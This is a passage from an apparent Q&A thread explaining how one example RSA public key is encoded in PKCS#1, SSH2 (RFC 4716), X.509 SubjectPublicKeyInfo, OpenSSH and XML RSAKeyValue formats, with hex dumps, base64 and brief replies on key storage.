5D 85 0C 07 A1 F9 47 1B 56 16 6E F6 7F B9 CF 2A
58 36 37 99 29 AA 4F A8 12 E8 4F C7 82 2B 9D 72
2A 9C DE 6F C2 EE 12 6D CF F0 F2 B8 C4 DD 7C 5C
1A C8 17 51 A9 AC DF 08 22 04 9D 2B D7 F9 4B 09
DE 9A EB 5C 51 1A D8 F8 F9 56 9E F8 FB 37 9B 3F
D3 74 65 24 0D FF 34 75 57 A4 F5 BF 55 02 03 01
00 01
and you PEM encode it (i.e. base64):
MIGJAoGBANxn+vSe8nIdRSy0gHkGoJQnUIIJ3WfOV7hsSk9An9LRafuZXY
UMB6H5RxtWFm72f7nPKlg2N5kpqk+oEuhPx4IrnXIqnN5vwu4Sbc/w8rjE
3XxcGsgXUams3wgiBJ0r1/lLCd6a61xRGtj4+Vae+Ps3mz/TdGUkDf80dV
ek9b9VAgMBAAE=
It's a convention to wrap that base64 encoded data in:
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBANxn+vSe8nIdRSy0gHkGoJQnUIIJ3WfOV7hsSk9An9LRafuZXY
UMB6H5RxtWFm72f7nPKlg2N5kpqk+oEuhPx4IrnXIqnN5vwu4Sbc/w8rjE
3XxcGsgXUams3wgiBJ0r1/lLCd6a61xRGtj4+Vae+Ps3mz/TdGUkDf80dV
ek9b9VAgMBAAE=
-----END RSA PUBLIC KEY-----
And that's how you get an have a PEM DER ASN.1 PKCS#1 RSA Public key.
The next standard was RFC 4716 (The Secure Shell (SSH) Public Key File Format). They included an algorithm identifier (ssh-rsa), before the exponent and modulus:
string "ssh-rsa"
mpint e
mpint n
They didn't want to use DER ASN.1 encoding (as it is horrendously complex), and instead opted for 4-byte length prefixing:
00000007 ;7 byte algorithm identifier
73 73 68 2d 72 73 61 ;"ssh-rsa"
00000003 ;3 byte exponent
01 00 01 ;hex for 65,537
00000080 ;128 byte modulus
DC 67 FA F4 9E F2 72 1D 45 2C B4 80 79 06 A0 94
27 50 82 09 DD 67 CE 57 B8 6C 4A 4F 40 9F D2 D1
69 FB 99 5D 85 0C 07 A1 F9 47 1B 56 16 6E F6 7F
B9 CF 2A 58 36 37 99 29 AA 4F A8 12 E8 4F C7 82
2B 9D 72 2A 9C DE 6F C2 EE 12 6D CF F0 F2 B8 C4
DD 7C 5C 1A C8 17 51 A9 AC DF 08 22 04 9D 2B D7
F9 4B 09 DE 9A EB 5C 51 1A D8 F8 F9 56 9E F8 FB
37 9B 3F D3 74 65 24 0D FF 34 75 57 A4 F5 BF 55
Take the entire above byte sequence and base-64 encode it:
AAAAB3NzaC1yc2EAAAADAQABAAAAgNxn+vSe8nIdRSy0gHkGoJQnUIIJ3WfOV7hs
Sk9An9LRafuZXYUMB6H5RxtWFm72f7nPKlg2N5kpqk+oEuhPx4IrnXIqnN5vwu4S
bc/w8rjE3XxcGsgXUams3wgiBJ0r1/lLCd6a61xRGtj4+Vae+Ps3mz/TdGUkDf80
dVek9b9V
And wrap it in the OpenSSH header and trailer:
---- BEGIN SSH2 PUBLIC KEY ----
AAAAB3NzaC1yc2EAAAADAQABAAAAgNxn+vSe8nIdRSy0gHkGoJQnUIIJ3WfOV7hs
Sk9An9LRafuZXYUMB6H5RxtWFm72f7nPKlg2N5kpqk+oEuhPx4IrnXIqnN5vwu4S
bc/w8rjE3XxcGsgXUams3wgiBJ0r1/lLCd6a61xRGtj4+Vae+Ps3mz/TdGUkDf80
dVek9b9V
---- END SSH2 PUBLIC KEY ----
Note: That OpenSSH uses four dashes with a space (---- ) rather than five dashes and no space (-----).
The next standard was RFC 2459 (Internet X.509 Public Key Infrastructure Certificate and CRL Profile). They took the PKCS#1 public key format:
RSAPublicKey ::= SEQUENCE {
modulus INTEGER, -- n
publicExponent INTEGER -- e
}
and extended it to include an algorithm identifier prefix (in case you want to use a public key encryption algorithm other than RSA):
SubjectPublicKeyInfo ::= SEQUENCE {
algorithm AlgorithmIdentifier,
subjectPublicKey RSAPublicKey }
The "Algorithm Identifier" for RSA is 1.2.840.113549.1.1.1, which comes from:
1 - ISO assigned OIDs
1.2 - ISO member body
1.2.840 - USA
1.2.840.113549 - RSADSI
1.2.840.113549.1 - PKCS
1.2.840.113549.1.1 - PKCS-1
The X.509 is an awful standard, that defines a horribly complicated way of encoding an OID into hex, but in the end the DER ASN.1 encoding of an X.509 SubjectPublicKeyInfo RSA Public key is:
30 81 9F ;SEQUENCE (0x9f bytes = 159 bytes)
| 30 0D ;SEQUENCE (0x0d bytes = 13 bytes)
| | 06 09 ;OBJECT_IDENTIFIER (0x09 = 9 bytes)
| | 2A 86 48 86 ;Hex encoding of 1.2.840.113549.1.1
| | F7 0D 01 01 01
| | 05 00 ;NULL (0 bytes)
| 03 81 8D 00 ;BIT STRING (0x8d bytes = 141 bytes)
| | 30 81 89 ;SEQUENCE (0x89 bytes = 137 bytes)
| | | 02 81 81 ;INTEGER (0x81 bytes = 129 bytes)
| | | 00 ;leading zero of INTEGER
| | | DC 67 FA
| | | F4 9E F2 72 1D 45 2C B4 80 79 06 A0 94 27 50 82
| | | 09 DD 67 CE 57 B8 6C 4A 4F 40 9F D2 D1 69 FB 99
| | | 5D 85 0C 07 A1 F9 47 1B 56 16 6E F6 7F B9 CF 2A
| | | 58 36 37 99 29 AA 4F A8 12 E8 4F C7 82 2B 9D 72
| | | 2A 9C DE 6F C2 EE 12 6D CF F0 F2 B8 C4 DD 7C 5C
| | | 1A C8 17 51 A9 AC DF 08 22 04 9D 2B D7 F9 4B 09
| | | DE 9A EB 5C 51 1A D8 F8 F9 56 9E F8 FB 37 9B 3F
| | | D3 74 65 24 0D FF 34 75 57 A4 F5 BF 55
| | 02 03 ;INTEGER (0x03 = 3 bytes)
| | | 01 00 01 ;hex for 65537. see it?
You can see in the decoded ASN.1 how they just prefixed the old RSAPublicKey with an OBJECT_IDENTIFIER.
Taking the above bytes and PEM (i.e. base-64) encoding them:
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDcZ/r0nvJyHUUstIB5BqCUJ1CC
Cd1nzle4bEpPQJ/S0Wn7mV2FDAeh+UcbVhZu9n+5zypYNjeZKapPqBLoT8eCK51y
Kpzeb8LuEm3P8PK4xN18XBrIF1GprN8IIgSdK9f5SwnemutcURrY+PlWnvj7N5s/
03RlJA3/NHVXpPW/VQIDAQAB
The standard is then to wrap this with a header similar to RSA PKCS#1, but without the "RSA" (since it could be something other than RSA):
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDcZ/r0nvJyHUUstIB5BqCUJ1CC
Cd1nzle4bEpPQJ/S0Wn7mV2FDAeh+UcbVhZu9n+5zypYNjeZKapPqBLoT8eCK51y
Kpzeb8LuEm3P8PK4xN18XBrIF1GprN8IIgSdK9f5SwnemutcURrY+PlWnvj7N5s/
03RlJA3/NHVXpPW/VQIDAQAB
-----END PUBLIC KEY-----
And that's how you invent an X.509 SubjectPublicKeyInfo/OpenSSL PEM public key format.
That doesn't stop the list of standard formats for an RSA public key. Next is the proprietary public key format used by OpenSSH:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgNxn+vSe8nIdRSy0gHkGoJQnUIIJ3WfOV7hs Sk9An9LRafuZXYUMB6H5RxtWFm72f7nPKlg2N5kpqk+oEuhPx4IrnXIqnN5vwu4Sbc/w8rjE3XxcGsgXUams3wgiBJ0r1/lLCd6a61xRGtj4+Vae+Ps3mz/TdGUkDf80dVek9b9V
Which is actually the SSH public key format above, but prefixed with ssh-rsa, rather than wrapped in ---- BEGIN SSH2 PUBLIC KEY ----/---- END SSH2 PUBLIC KEY ----.
This is where the ease of the XML RSAKeyValue public key comes in:
Exponent: 0x 010001 base64 encoded is AQAB
Modulus: 0x 00 dc 67 fa f4 9e f2 72 1d 45 2c b4 80 79 06 a0 94 27 50 82 09 dd 67 ce 57 b8 6c 4a 4f 40 9f d2 d1 69 fb 99 5d 85 0c 07 a1 f9 47 1b 56 16 6e f6 7f b9 cf 2a 58 36 37 99 29 aa 4f a8 12 e8 4f c7 82 2b 9d 72 2a 9c de 6f c2 ee 12 6d cf f0 f2 b8 c4 dd 7c 5c 1a c8 17 51 a9 ac df 08 22 04 9d 2b d7 f9 4b 09 de 9a eb 5c 51 1a d8 f8 f9 56 9e f8 fb 37 9b 3f d3 74 65 24 0d ff 34 75 57 a4 f5 bf 55 base64 encoded is ANxn+vSe8nIdRSy0gHkGoJQnUIIJ3WfOV7hsSk9An9LRafuZXYUMB6H5RxtWFm72f7nPKlg2N5kpqk+oEuhPx4IrnXIqnN5vwu4Sbc/w8rjE3XxcGsgXUams3wgiBJ0r1/lLCd6a61xRGtj4+Vae+Ps3mz/TdGUkDf80dVek9b9V.
This means the XML is:
<RSAKeyValue>
<Modulus>ANxn+vSe8nIdRSy0gHkGoJQnUIIJ3WfOV7hsSk9An9LRafuZXYUMB6H5RxtWFm72f7nPKlg2N5kpqk+oEuhPx4IrnXIqnN5vwu4Sbc/w8rjE3XxcGsgXUams3wgiBJ0r1/lLCd6a61xRGtj4+Vae+Ps3mz/TdGUkDf80dVek9b9V</Modulus>
<Exponent>AQAB</Exponent>
</RSAKeyValue>
Much simpler. A downside is that it doesn't wrap, copy, paste, as nicely as (i.e. Xml is not as user friendly as):
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBANxn+vSe8nIdRSy0gHkGoJQnUIIJ3WfOV7hsSk9An9LRafuZXY
UMB6H5RxtWFm72f7nPKlg2N5kpqk+oEuhPx4IrnXIqnN5vwu4Sbc/w8rjE
3XxcGsgXUams3wgiBJ0r1/lLCd6a61xRGtj4+Vae+Ps3mz/TdGUkDf80dV
ek9b9VAgMBAAE=
-----END RSA PUBLIC KEY-----
But it makes a great neutral storage format.
See also
Translator, Binary: Great for decoding and encoding base64 data
ASN.1 JavaScript decoder: Great for decoding ASN.1 encoded hex data (that you get from Translator, Binary
Microsoft ASN.1 Documentation: Describes the Distinguished Encoding Rules (DER) used for ASN.1 structures (you won't find a better set of documentation anywhere else; i would argue Microsoft's is not only real documentation)
What I have done successfully is to store the keys as XML. There are two methods in RSACryptoServiceProvider: ToXmlString and FromXmlString. The ToXmlString will return an XML string containing either just the public key data or both the public and private key data depending on how you set its parameter. The FromXmlString method will populate the RSACryptoServiceProvider with the appropriate key data when provided an XML string containing either just the public key data or both the public and private key data.
Use a existing standard format, like PEM. Your crypto library should provide functions to load and save keys from files in PEM format.
Exponent and Modulus are the Public key. D and Modulus are the Private key. The other values allow faster computation for the holder of the Private key.
The public key is identified by Modulus and Exponent. The private key is identified by the other members.
I suppose answer from #Ian Boyd would not precisely, the format should be SSH2, instead of OpenSSH, as the RFC4716 defined for SSH2, OpenSSH format have is proprietary:
Note: That OpenSSH uses four dashes with a space (---- ) rather than five dashes and no space (-----).
Is XML a good idea here?
Normally Private keys are stored in HSM's/smart card. This provides a good security.